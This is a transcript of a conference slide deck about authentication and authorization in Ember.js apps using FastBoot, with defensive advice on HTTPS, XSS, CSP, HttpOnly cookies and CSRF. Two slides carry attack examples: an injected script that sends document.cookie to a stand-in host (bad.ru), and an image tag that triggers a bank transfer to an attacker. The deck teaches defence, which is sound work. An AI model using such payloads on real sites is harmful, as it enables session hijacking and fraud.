Auth* with FastBoot

Auth* with FastBoot

An overview of handling authentication and authorization in Ember.js app and Fastboot

3179e6bb62dc91d29bb906ffef4fa2d4?s=128

Marco Otte-Witte

July 12, 2016
Tweet

Transcript

  1. Auth* with FastBoot

  2. Marco Otte-Witte @marcoow

  3. https://simplabs.com @simplabs

  4. None
  5. https://ember-workshop.simplabs.com

  6. Auth* in Ember

  7. Authentication is verifying the identify of a user

  8. Authorization is verifying permissions of an (authenticated) user

  9. in an Ember app, you cannot actually do any of

    these
  10. $E.set('isAuthenticated', true)

  11. $E.set('isAdmin', true)

  12. actual authentication and authorization happens on the API server

  13. authorization in the Ember app itself is only about presenting

    a consistent UI
  14. The Status Quo is using token based authorization

  15. the token is issued by the API server upon authentication

    and then injected into subsequent (Ember Data) requests
  16. https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com

  17. https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com

  18. https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com

  19. https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com

  20. https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com

  21. https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com

  22. https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com

  23. https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token>

  24. https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token> <token>

  25. None
  26. "progressive enhancement for ambitious web apps"

  27. FastBoot performs the initial render on the server, reducing the

    time until the user sees content
  28. after the JavaScript has downloaded, the Ember app takes over

  29. https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com

  30. https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com

  31. https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token>

  32. https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token>

  33. https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token>

  34. https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token>

  35. https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token> <token>

  36. A floating session ensures a singular execution context in the

    browser as well as in FastBoot
  37. it turns out we've had the mechanism for that since

    1997
  38. http://www.discoversmithsfalls.ca/wp-content/uploads/2014/12/mm_cookie.jpg

  39. https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token> <token>

  40. https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token> <token>

  41. None
  42. None
  43. None
  44. there's no document.cookie in Node.js

  45. ember install ember-cookies https://github.com/simplabs/ember-cookies

  46. Demo https://github.com/marcoow/fastboot-auth-example

  47. Security Concerns

  48. everyone with access to a user's token can impersonate as

    that user
  49. Authorization: Bearer vsret63refrwtu9

  50. Authorization: Bearer vsret63refrwtu9

  51. use HTTPs so that the token is not sent as

    clear text!
  52. Authorzation: Bearer 4t4hw4et

  53. make sure your HTTPs is setup correctly

  54. HSTS, TLS 1.1/1.2, PFS, ephemeral Diffie Hellmann key exchange, etc.

  55. validate your HTTPS setup https://www.ssllabs.com/ssltest/

  56. None
  57. http://redpowerstation.co.uk/wp-content/uploads/2013/03/image.jpg https://www.python.org/m/psf/fastly.png

  58. XSS a web developer's worst nightmare

  59. someone gets to execute their (malicious) JavaScripts in the context

    of your app
  60. <h2> Hello, {{{user.name}}} </h2>

  61. <h2> Hello, <script>$.ajax('http://bad.ru?cookie=' + document.cookie)</script> </h2>

  62. use {{…}}, not {{{…}}}

  63. don't use htmlSafe on user entered content

  64. enable CSP https://github.com/rwjblue/ember-cli-content-security-policy

  65. what if JavaScript had no access to the cookie holding

    the token in the first place?
  66. An alternative approach using token based authorization via a HttpOnly

    cookie
  67. https://design.google.com/icons/ https://design.google.com/icons/ app.com app.com/api

  68. https://design.google.com/icons/ https://design.google.com/icons/ app.com app.com/api

  69. https://design.google.com/icons/ https://design.google.com/icons/ app.com app.com/api

  70. https://design.google.com/icons/ https://design.google.com/icons/ app.com app.com/api

  71. https://design.google.com/icons/ https://design.google.com/icons/ app.com app.com/api

  72. this has implications on your domain setup

  73. https://design.google.com/icons/ https://design.google.com/icons/ app.com api.com

  74. https://design.google.com/icons/ https://design.google.com/icons/ app.com api.com X

  75. https://design.google.com/icons/ https://design.google.com/icons/ app.com api.com X X

  76. https://design.google.com/icons/ https://design.google.com/icons/ app.com api.com X X X

  77. Demo https://github.com/marcoow/fastboot-auth-example/tree/cookie-based

  78. CSRF makes users initiate requests without their consent or knowledge

  79. <img src="http://bank.com/transfers-money?amount=1mio&to=attacker"/>

  80. None
  81. when using the Authorization header for authorizing API requests, CSRF

    doesn't work
  82. when using a cookie for authorizing API requests, you're vulnerable

    to CSRF attacks
  83. CSRF results in GET requests which should not modify anything

    on the API
  84. an attacker could initiate requests to the FastBoot server

  85. FastBoot only pre-renders though, does not execute actions etc.

  86. do not perform anything potentially unsafe in beforeModel, model, afterModel

    etc.
  87. do not perform anything potentially unsafe in beforeModel, model, afterModel

    etc. (you probable don't anyways)
  88. Wrapping up

  89. Use token based authorization

  90. use a cookie to transparently move authentication state and authorization

    info between the browser and FastBoot
  91. …and make sure you're safe

  92. you could implement all these things yourself…

  93. None
  94. 1.2 is going to support FastBoot out of the box

  95. Thanks

  96. http://simplabs.com @simplabs